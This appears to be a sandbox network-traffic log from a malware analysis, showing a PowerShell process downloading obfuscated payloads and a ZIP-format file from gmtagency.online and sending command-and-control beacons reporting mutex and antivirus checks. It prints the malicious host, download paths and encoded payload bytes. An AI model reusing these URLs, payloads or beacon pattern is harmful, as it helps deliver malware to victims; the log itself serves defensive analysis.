https://gmtagency.online/file2/60ef76e9db7116693364d6d6d5c46eca46dd3940bbdf59007c52da15a85c1637c3d68ed9b528187c5db4718597f02d21072c2c034e2706066f31a4c1e5390879c696eadf01811b26bb7dfe06677f97dbcef20be4b54b0ccb138f3acbb81152197e955cc
2024-11-15 00:00:55 UTC	951	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 00:00:55 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LBhzfQdjo2B3XEmGQ5j%2BGQz4cwhOww1vI7y84EV0PdeMLzbapqu9mhHV0LJynbFxjpFvP40mdURYiIiAiB%2BD5C21JFe%2Fs7YoIslDVIU8CzNy42xxBvxAeVlfx7yqTJH%2F6j%2FVNezgmQkq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=24764&sent=60454&recv=30314&lost=0&retrans=0&sent_bytes=84538502&recv_bytes=1455687&delivery_rate=40500340&cwnd=234&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8e2af6b50bb16c2b-DFW server-timing: cfL4;desc="?proto=TCP&rtt=1903&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=1252&delivery_rate=1502854&cwnd=227&unsent_bytes=0&cid=b820b54f438ba761&ts=662&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	188.114.97.3	443	6204	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 00:00:55 UTC	367	OUT	GET /file2/60ef76e9db7116693364d6d6d5c46eca46dd3940bbdf59007c52da15a85c1637c3d68ed9b528187c5db4718597f02d21072c2c034e2706066f31a4c1e5390879c696eadf01811b26bb7dfe06677f97dbcef20be4b54b0ccb138f3acbb81152197e955cc0e87105f7ac4bc6be65825098 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: gmtagency.online
2024-11-15 00:00:56 UTC	1063	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 00:00:56 GMT Content-Type: application/octet-stream Content-Length: 21762 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=111qExH%2Bgy4sQU%2BO%2BwakHO6rPohC78CDL%2BJ4EAE6i4wS4p1CCGwoSzNJ99adeyUhndqDjYkAzZlnyu6NfqFPtIAi29VrmqWmS6Vvj6j4Fm5uCV6JcKPGM9SqYOFVLs0KQrR0hQfHJn0V"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=10693&sent=16179&recv=8628&lost=0&retrans=0&sent_bytes=22158626&recv_bytes=775846&delivery_rate=48105922&cwnd=228&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8e2af6bd68f11f4e-DEN server-timing: cfL4;desc="?proto=TCP&rtt=22603&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2840&recv_bytes=1005&delivery_rate=128079&cwnd=32&unsent_bytes=0&cid=1b57f68ebb85cb55&ts=467&x=0"
2024-11-15 00:00:56 UTC	306	IN	Data Raw: 25 67 6d 69 63 66 6e 6a 63 69 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 56 57 65 72 65 54 53 53 63 33 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 46 55 6b 43 5b 56 44 6e 76 55 47 5b 4e 62 30 71 59 57 6f 65 4b 50 7b 47 54 56 6d 65 4e 65 6c 4b 75 54 6f 71 4b 53 44 54 32 53 47 47 77 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 52 65 57 71 58 5b 47 57 69 57 7b 47 72 52 54 50 76 5b 30 48 78 57 6b 43 4c 57 57 4b 6e 5b 44 65 57 4f 31 53 53 63 33 65 4b 50 31 47 6f 5b 6d 44 76 52 31 53 53 63 33 65 4b 50 31 47 6f 57 45 43 52 54 47 53 47 4c 57 4b 56 4c 49 43 4d 57 59 6d 43 60 57 4b 75 Data Ascii: %gmicfnjci<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#VWereTSSc3eKP1GoRTOC[1mFUkC[VDnvUG[Nb0qYWoeKP{GTVmeNelKuToqKSDT2SGGw[1mEPVeKP1GoRTOReWqX[GWiW{GrRTPv[0HxWkCLWWKn[DeWO1SSc3eKP1Go[mDvR1SSc3eKP1GoWECRTGSGLWKVLICMWYmC`WKu
2024-11-15 00:00:56 UTC	1369	IN	Data Raw: 60 57 7b 6a 79 5b 44 5b 4e 63 47 6a 78 4e 59 57 60 52 44 30 6f 58 7b 4b 56 60 6c 48 78 4f 56 75 6b 64 55 53 71 53 47 47 77 55 6a 4f 71 50 56 65 4b 50 31 47 70 52 54 5b 4a 63 46 53 48 57 6f 6d 68 60 54 47 73 56 6c 30 46 62 33 4c 78 57 56 65 69 57 7b 57 73 58 57 65 4e 60 46 53 49 63 49 57 60 64 54 48 76 58 54 65 57 5b 30 71 75 63 49 4f 60 54 31 48 7b 56 57 69 4f 5b 33 4b 75 4e 55 43 4b 53 30 71 33 5b 47 62 30 60 31 53 53 63 33 65 4b 50 31 47 6f 58 33 30 56 4c 46 53 58 52 6f 57 4b 50 30 4b 75 56 57 65 35 64 6d 71 53 4c 44 75 6c 54 55 43 4d 53 47 47 77 55 6a 4f 73 4e 54 57 54 4c 49 69 4e 57 57 5b 6a 52 30 4f 72 55 56 65 4b 60 31 34 77 56 6d 65 4e 62 6a 6d 49 4c 55 47 6a 53 30 58 31 5b 44 4f 4b 4f 31 53 53 63 33 75 68 56 47 48 31 56 45 4b 4e 63 33 47 59 64 46 Data Ascii: `W{jy[D[NcGjxNYW`RD0oX{KV`lHxOVukdUSqSGGwUjOqPVeKP1GpRT[JcFSHWomh`TGsVl0Fb3LxWVeiW{WsXWeN`FSIcIW`dTHvXTeW[0qucIO`T1H{VWiO[3KuNUCKS0q3[Gb0`1SSc3eKP1GoX30VLFSXRoWKP0KuVWe5dmqSLDulTUCMSGGwUjOsNTWTLIiNWW[jR0OrUVeK`14wVmeNbjmILUGjS0X1[DOKO1SSc3uhVGH1VEKNc3GYdF
2024-11-15 00:00:56 UTC	1369	IN	Data Raw: 52 31 6d 45 50 56 65 4b 52 45 43 4e 50 33 6d 43 5b 31 6d 45 50 6d 43 52 53 55 6d 4f 57 47 5b 46 56 47 4f 73 62 47 53 4b 50 30 4b 76 58 7b 47 56 50 6d 44 76 4e 59 65 60 57 7b 50 32 53 47 47 77 55 6a 4f 71 50 56 65 4b 50 31 4b 76 56 6c 6d 6f 60 33 47 58 55 6d 5b 53 57 54 34 50 58 31 65 56 65 54 6d 45 4c 56 79 6b 54 31 47 32 52 30 44 76 52 31 6d 45 50 56 65 4b 52 49 4f 4e 50 33 6d 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 57 45 43 52 54 47 53 47 4c 57 4b 56 4c 49 43 4d 57 59 6d 43 60 56 44 78 4e 46 65 5b 4c 6a 5b 30 52 54 65 4a 4f 56 4f 49 53 6f 71 6b 64 54 48 79 56 57 65 4f 60 54 38 32 4c 44 75 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 6d 53 6a 53 31 5b 34 5b 44 4c 79 54 56 4f 75 4e 56 71 60 56 44 34 37 52 54 4f 4a 60 6c 4b 59 54 59 57 60 56 46 69 72 52 56 6d Data Ascii: R1mEPVeKRECNP3mC[1mEPmCRSUmOWG[FVGOsbGSKP0KvX{GVPmDvNYe`W{P2SGGwUjOqPVeKP1KvVlmo`3GXUm[SWT4PX1eVeTmELVykT1G2R0DvR1mEPVeKRIONP3mC[1mEPVeKP1GoWECRTGSGLWKVLICMWYmC`VDxNFe[Lj[0RTeJOVOISoqkdTHyVWeO`T82LDuKP1GoRTOC[1mEPmSjS1[4[DLyTVOuNVq`VD47RTOJ`lKYTYW`VFirRVm
2024-11-15 00:00:56 UTC	1369	IN	Data Raw: 55 47 42 54 57 53 42 50 6d 48 76 63 44 4b 59 63 44 5b 42 55 54 57 46 52 47 65 57 53 6a 38 60 4c 44 57 32 54 57 57 52 50 6d 47 57 4e 54 4b 53 57 44 4b 42 54 6a 65 6a 50 6d 53 58 5b 44 4f 69 60 31 5b 47 57 6d 57 46 55 6d 57 57 53 59 69 53 57 56 53 46 54 57 5b 76 63 6d 47 75 65 44 4b 52 4c 54 5b 42 57 33 30 6a 50 6a 30 47 53 6a 57 53 57 54 5b 69 56 6b 43 46 4f 47 47 57 5b 44 5b 53 57 55 57 74 54 57 69 6a 50 6d 48 76 57 6a 4b 54 4c 44 5b 42 55 55 43 46 53 57 4b 57 53 6d 43 53 57 54 57 35 54 57 57 6a 53 6d 47 56 62 46 34 53 57 47 5b 42 54 6a 5b 56 50 6d 65 58 5b 44 4b 6d 60 31 5b 48 57 57 57 46 55 30 6e 76 52 6f 4f 53 57 57 4b 46 54 57 54 30 50 6d 47 75 63 44 4b 52 53 57 5b 42 57 30 65 6a 50 6a 34 47 53 6a 57 56 57 54 5b 69 56 6b 43 46 4f 47 47 57 5b 47 4b 53 Data Ascii: UGBTWSBPmHvcDKYcD[BUTWFRGeWSj8`LDW2TWWRPmGWNTKSWDKBTjejPmSX[DOi`1[GWmWFUmWWSYiSWVSFTW[vcmGueDKRLT[BW30jPj0GSjWSWT[iVkCFOGGW[D[SWUWtTWijPmHvWjKTLD[BUUCFSWKWSmCSWTW5TWWjSmGVbF4SWG[BTj[VPmeX[DKm`1[HWWWFU0nvRoOSWWKFTWT0PmGucDKRSW[BW0ejPj4GSjWVWT[iVkCFOGGW[GKS
2024-11-15 00:00:56 UTC	516	IN	Data Raw: 47 75 4f 54 4b 52 4c 57 5b 42 56 55 4f 6a 50 6d 6e 76 53 6a 53 6b 4c 44 5b 53 57 57 57 46 63 6d 47 57 55 6d 4b 53 57 31 35 7b 54 56 71 42 50 6d 4f 47 63 44 4b 5b 57 6a 5b 45 5b 47 57 46 52 47 6a 76 53 6d 4b 60 4c 44 6e 78 54 57 57 6a 54 6d 47 59 57 6d 4b 53 57 46 53 42 54 57 53 42 50 6d 44 78 5b 44 4b 60 4c 44 5b 44 54 57 57 46 52 6d 47 57 53 6c 34 53 57 54 34 52 54 57 65 4a 50 6d 47 74 56 6a 4b 52 4c 6a 34 42 57 6a 5b 46 50 33 4b 47 53 6a 6d 54 57 54 5b 70 5b 45 43 4a 63 30 47 57 5b 46 71 53 57 6f 43 52 54 56 34 76 50 6d 44 76 53 6a 4b 55 4c 33 53 42 55 30 57 46 53 47 47 57 53 6a 71 60 4c 44 58 76 54 57 57 4f 65 30 47 57 64 47 4b 53 56 47 4b 42 54 59 71 42 50 6d 53 46 53 6a 4b 6a 53 54 5b 44 55 54 57 46 55 57 57 57 53 6b 43 53 57 54 34 4a 54 57 54 34 4c Data Ascii: GuOTKRLW[BVUOjPmnvSjSkLD[SWWWFcmGWUmKSW15{TVqBPmOGcDK[Wj[E[GWFRGjvSmK`LDnxTWWjTmGYWmKSWFSBTWSBPmDx[DK`LD[DTWWFRmGWSl4SWT4RTWeJPmGtVjKRLj4BWj[FP3KGSjmTWT[p[ECJc0GW[FqSWoCRTV4vPmDvSjKUL3SBU0WFSGGWSjq`LDXvTWWOe0GWdGKSVGKBTYqBPmSFSjKjST[DUTWFUWWWSkCSWT4JTWT4L
2024-11-15 00:00:56 UTC	1369	IN	Data Raw: 4b 53 4c 44 5b 42 54 30 57 46 50 6c 44 76 53 6a 6d 59 57 54 5b 60 57 57 57 4a 64 6d 47 57 60 47 5b 53 57 6f 43 52 54 57 65 6a 50 6d 4b 44 50 6a 4b 55 57 54 5b 42 58 57 57 46 52 47 4b 57 53 6c 71 53 57 54 6e 7b 54 57 57 6a 4c 30 47 59 53 6d 4b 53 63 59 43 42 54 6b 43 56 50 6d 71 47 53 6a 4f 6b 53 54 5b 48 55 31 57 46 60 57 6e 76 53 6b 4b 53 57 56 53 33 54 57 65 4e 4c 30 47 74 56 6a 4b 52 64 6d 4b 42 54 30 65 6a 50 6a 35 76 53 6a 4b 4f 53 54 5b 44 56 6b 43 46 55 30 47 57 53 6f 5b 53 57 56 79 42 54 57 65 6a 50 6d 44 76 53 6a 4b 55 57 54 5b 42 58 55 43 46 52 47 6e 76 53 6c 47 57 57 54 71 77 54 57 57 6a 54 6d 47 56 62 47 4b 53 63 6c 79 42 54 31 54 79 50 6d 58 7b 5b 44 4b 69 4c 44 5b 48 58 7b 43 46 58 57 57 57 52 55 47 53 57 57 6d 32 54 57 57 72 50 6d 47 54 63 Data Ascii: KSLD[BT0WFPlDvSjmYWT[`WWWJdmGW`G[SWoCRTWejPmKDPjKUWT[BXWWFRGKWSlqSWTn{TWWjL0GYSmKScYCBTkCVPmqGSjOkST[HU1WF`WnvSkKSWVS3TWeNL0GtVjKRdmKBT0ejPj5vSjKOST[DVkCFU0GWSo[SWVyBTWejPmDvSjKUWT[BXUCFRGnvSlGWWTqwTWWjTmGVbGKSclyBT1TyPmX{[DKiLD[HX{CFXWWWRUGSWWm2TWWrPmGTc
2024-11-15 00:00:56 UTC	1369	IN	Data Raw: 46 50 6d 4f 57 53 6a 4b 60 4c 44 5b 4b 55 54 57 46 53 57 57 57 53 6a 79 53 57 54 34 42 54 57 57 72 50 6d 47 59 5b 44 4b 53 4c 44 5b 42 54 6a 5b 46 50 6d 4c 76 53 6a 6d 4f 53 54 5b 47 57 57 57 46 55 47 47 57 53 59 65 53 57 54 34 74 54 56 71 4e 50 6d 48 78 5b 44 4b 5b 57 6a 5b 45 58 7b 43 46 52 47 5b 57 53 6a 79 53 57 54 5b 78 54 57 57 6a 55 6d 47 59 52 6b 4f 53 60 6a 5b 42 54 6f 71 52 50 6d 71 47 53 6a 4b 60 4c 44 5b 44 55 54 57 46 58 56 50 76 52 59 65 53 57 54 34 42 54 57 54 79 50 6d 47 58 50 6a 4b 53 57 44 4b 42 54 55 4b 6a 50 31 35 76 53 6a 4b 4f 53 54 5b 44 56 6b 43 46 52 30 47 57 53 59 65 53 57 54 34 74 54 57 57 76 50 6d 4f 46 53 6a 4b 5b 4c 6c 53 45 55 6d 57 46 52 56 4c 76 53 6a 57 57 57 54 5b 4c 54 57 57 4e 50 6d 47 57 63 44 4b 53 57 33 53 42 54 55 Data Ascii: FPmOWSjK`LD[KUTWFSWWWSjySWT4BTWWrPmGY[DKSLD[BTj[FPmLvSjmOST[GWWWFUGGWSYeSWT4tTVqNPmHx[DK[Wj[EX{CFRG[WSjySWT[xTWWjUmGYRkOS`j[BToqRPmqGSjK`LD[DUTWFXVPvRYeSWT4BTWTyPmGXPjKSWDKBTUKjP15vSjKOST[DVkCFR0GWSYeSWT4tTWWvPmOFSjK[LlSEUmWFRVLvSjWWWT[LTWWNPmGWcDKSW3SBTU
2024-11-15 00:00:56 UTC	1369	IN	Data Raw: 4c 54 5b 45 5b 47 57 46 52 57 65 57 53 6c 6d 6a 4c 44 71 34 54 57 57 6a 57 6d 47 57 64 47 4b 53 60 30 71 42 54 31 65 6a 50 6d 6a 76 53 6a 4f 6d 57 54 5b 48 57 6d 57 46 60 6c 50 76 52 6b 5b 53 57 56 53 78 54 57 65 4a 4c 30 47 74 57 6a 4b 53 4c 44 5b 42 54 7b 43 46 50 30 6d 73 53 6a 65 54 57 54 5b 72 57 57 57 4a 4f 6d 47 57 60 47 4b 53 57 6f 43 52 54 56 34 52 50 6d 47 37 54 6a 4b 56 60 31 5b 45 58 6a 57 46 52 57 6e 76 53 6c 75 53 57 54 58 79 54 57 57 56 57 6d 47 59 52 6c 34 53 63 59 43 42 54 6f 71 6e 50 6d 65 73 53 6a 4f 6b 53 54 5b 48 55 6a 57 46 58 56 50 76 52 6c 75 53 57 57 4b 33 54 57 54 34 63 6d 47 72 56 6a 4b 52 63 44 5b 42 57 56 30 6a 50 6a 34 47 53 6a 53 4e 53 54 5b 55 5b 45 43 4a 62 30 47 57 60 47 4b 53 57 6d 58 7b 54 56 71 42 50 6d 4f 47 63 44 4b Data Ascii: LT[E[GWFRWeWSlmjLDq4TWWjWmGWdGKS`0qBT1ejPmjvSjOmWT[HWmWF`lPvRk[SWVSxTWeJL0GtWjKSLD[BT{CFP0msSjeTWT[rWWWJOmGW`GKSWoCRTV4RPmG7TjKV`1[EXjWFRWnvSluSWTXyTWWVWmGYRl4ScYCBToqnPmesSjOkST[HUjWFXVPvRluSWWK3TWT4cmGrVjKRcD[BWV0jPj4GSjSNST[U[ECJb0GW`GKSWmX{TVqBPmOGcDK
2024-11-15 00:00:56 UTC	1369	IN	Data Raw: 6d 65 73 53 6a 4f 6a 60 31 5b 4b 56 55 43 46 60 6c 50 76 53 6c 34 53 57 57 6e 7b 54 57 57 72 63 6d 47 59 63 44 4b 53 4c 44 5b 42 54 33 30 6a 50 6d 6e 76 53 6a 69 4f 53 54 5b 6e 5b 45 43 4a 62 6d 47 57 5b 49 4b 53 57 31 34 74 54 57 65 6a 50 6d 44 76 63 44 4b 55 57 33 53 45 54 6a 57 46 53 56 48 76 53 6d 6d 53 57 54 71 5b 54 57 57 6a 62 6d 47 59 52 6c 34 53 63 59 53 42 54 6f 71 6e 50 6d 71 48 5b 44 4f 6d 60 31 5b 44 54 57 57 46 56 57 47 57 52 6d 57 53 57 56 69 78 54 57 65 4e 4c 30 47 70 50 6a 4b 52 4c 57 5b 42 56 56 79 46 50 6c 57 73 53 6a 57 55 57 54 5b 5b 54 57 57 46 62 47 47 57 55 6a 71 53 57 56 79 42 54 57 62 79 50 6d 44 76 53 6a 4b 59 56 46 53 45 5b 46 75 46 52 57 47 57 53 6c 79 57 57 54 5b 74 54 57 57 4e 52 6d 47 57 63 46 34 53 60 30 4b 42 54 6a 62 34 Data Ascii: mesSjOj`1[KVUCF`lPvSl4SWWn{TWWrcmGYcDKSLD[BT30jPmnvSjiOST[n[ECJbmGW[IKSW14tTWejPmDvcDKUW3SETjWFSVHvSmmSWTq[TWWjbmGYRl4ScYSBToqnPmqH[DOm`1[DTWWFVWGWRmWSWVixTWeNL0GpPjKRLW[BVVyFPlWsSjWUWT[[TWWFbGGWUjqSWVyBTWbyPmDvSjKYVFSE[FuFRWGWSlyWWT[tTWWNRmGWcF4S`0KBTjb4
2024-11-15 00:00:56 UTC	1369	IN	Data Raw: 6d 32 56 55 4b 53 4f 57 6d 54 55 59 69 4e 60 6d 4b 75 55 59 71 47 4f 57 6d 75 55 55 4f 4f 57 30 4b 70 56 6c 71 56 60 6a 34 70 55 6c 6d 51 57 46 72 78 55 56 71 47 4f 57 71 45 52 56 65 4c 57 57 4b 72 58 7b 4f 52 62 46 4b 75 53 6b 43 69 57 7b 6d 30 52 54 4f 4a 53 44 38 72 64 47 69 69 57 7b 57 73 58 6b 4f 6a 64 6a 6d 46 64 47 53 6d 56 44 35 76 56 6d 62 76 64 6a 30 72 64 49 65 6b 63 55 6d 32 58 7b 4f 72 64 6a 79 75 54 6f 4f 68 50 31 6a 32 53 47 47 77 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 6f 43 60 60 56 65 73 56 6a 62 34 4c 33 4b 75 64 49 5b 5b 57 30 4b 55 56 6d 69 4e 4c 56 4b 48 54 56 65 4c 57 30 5b 35 52 54 4f 52 4c 46 4f 74 57 6c 79 4d 54 55 43 4d 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 33 57 32 4c 44 75 4b 50 Data Ascii: m2VUKSOWmTUYiN`mKuUYqGOWmuUUOOW0KpVlqV`j4pUlmQWFrxUVqGOWqERVeLWWKrX{ORbFKuSkCiW{m0RTOJSD8rdGiiW{WsXkOjdjmFdGSmVD5vVmbvdj0rdIekcUm2X{OrdjyuToOhP1j2SGGw[1mEPVeKP1GoRTOC[1mEPoC``VesVjb4L3KudI[[W0KUVmiNLVKHTVeLW0[5RTORLFOtWlyMTUCMRTOC[1mEPVeKP1GoRTOC[3W2LDuKP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49711	188.114.97.3	443	6204	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 00:00:58 UTC	286	OUT	POST /2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b8f1bbebbccff7ba9c62dc379cc23851a0 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: gmtagency.online Content-Length: 85
2024-11-15 00:00:58 UTC	85	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 4a 6f 62 20 69 73 20 72 75 6e 6e 69 6e 67 2e 20 4a 6f 62 20 49 44 3a 20 31 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 43 68 65 63 6b 20 6d 75 74 65 78 74 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Job is running. Job ID: 1\"", "\"Check mutext\"", "----------"]
2024-11-15 00:00:58 UTC	953	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 00:00:58 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2JxVRHtbBkS6Cx1v%2F3yoYgaUW4bLkmqw%2Fo%2BPU7swe6lBKuEToETm3euisLLQeYSV9%2BqaajfD7q80He5%2BdLTLZXmgxOz5DcLpF7f%2BEL7NuXov9fyhpaeZJQ%2BScMecKfJopIpTQ%2BrCjJCj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4040&sent=16197&recv=8640&lost=0&retrans=0&sent_bytes=22181245&recv_bytes=776718&delivery_rate=48105922&cwnd=232&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8e2af6cd8ca5e74d-DEN server-timing: cfL4;desc="?proto=TCP&rtt=19113&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=1031&delivery_rate=151306&cwnd=32&unsent_bytes=0&cid=d3d6e9fb31a39d0a&ts=657&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49715	188.114.97.3	443	6204	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 00:00:59 UTC	286	OUT	POST /2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b8f1bbebbccff7ba9c62dc379cc23851a0 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: gmtagency.online Content-Length: 86
2024-11-15 00:00:59 UTC	86	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 4d 75 74 65 78 20 69 73 20 6e 6f 74 20 6c 6f 63 6b 65 64 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 41 56 20 57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Mutex is not locked\"", "\"AV Windows Defender\"", "----------"]
2024-11-15 00:01:00 UTC	946	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 00:01:00 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Eu7kUYsxOITSyXKkroIWrGDdKsQEKKsqAFp0L2jHuFvUiVILBd%2BIVTgj%2BhQJdNo7uibMmWcZosGp3%2F2yECRdjPAjOtkcskVE9bzzph5JKMoSGhwWCNkEzBlhvmpjfcUTWPzT9XBhHQvu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=29742&sent=60464&recv=30335&lost=0&retrans=0&sent_bytes=84540956&recv_bytes=1471464&delivery_rate=40500340&cwnd=234&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8e2af6d5bae94588-ATL server-timing: cfL4;desc="?proto=TCP&rtt=19988&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=1032&delivery_rate=144294&cwnd=32&unsent_bytes=0&cid=9e39903891360853&ts=735&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49716	188.114.97.3	443	6048	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 00:01:00 UTC	391	OUT	GET /file2/282c5801f46fcda2f05a0753c406ba90ef61497ac93e4afda4a01872ecfc3b3b0547cc186ef952e03434e53d14a6be634cc8976c1de586c6716f1299450c444bdca9c3eed651a15ce96c3d1ed385d68e046d90581d0518767912d0a8edd694f9b22d70d1c6269597baf745481c650497 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: gmtagency.online Connection: Keep-Alive
2024-11-15 00:01:00 UTC	1061	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 00:01:00 GMT Content-Type: application/octet-stream Content-Length: 98366 Connection: close content-disposition: attachment; filename=file; filename*=UTF-8''file cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d2eX2l2Fo7SY4n8Zs2I76OUUpjqK3GkKu4LYtEndmLshjd6fKbJtMN0uUzvDV0Fq9v3cBa%2FM%2BaK9Kx06AnukFpZJaK7nq8f0TRI323uHV%2FedFxm2NKv1nrWrZE6700dTUxOJpLM9mSMa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=19259&sent=34115&recv=17688&lost=0&retrans=46&sent_bytes=47376079&recv_bytes=747037&delivery_rate=49415384&cwnd=222&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8e2af6d95f3e7b2a-DEN server-timing: cfL4;desc="?proto=TCP&rtt=19133&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=1005&delivery_rate=151250&cwnd=32&unsent_bytes=0&cid=f0fb99596ef2f0b9&ts=472&x=0"
2024-11-15 00:01:00 UTC	308	IN	Data Raw: 50 4b 03 04 14 00 06 00 08 00 00 00 21 00 a3 ef bb 1d 65 01 00 00 52 05 00 00 13 00 08 02 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 04 02 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: PK!eR[Content_Types].xml (
2024-11-15 00:01:00 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 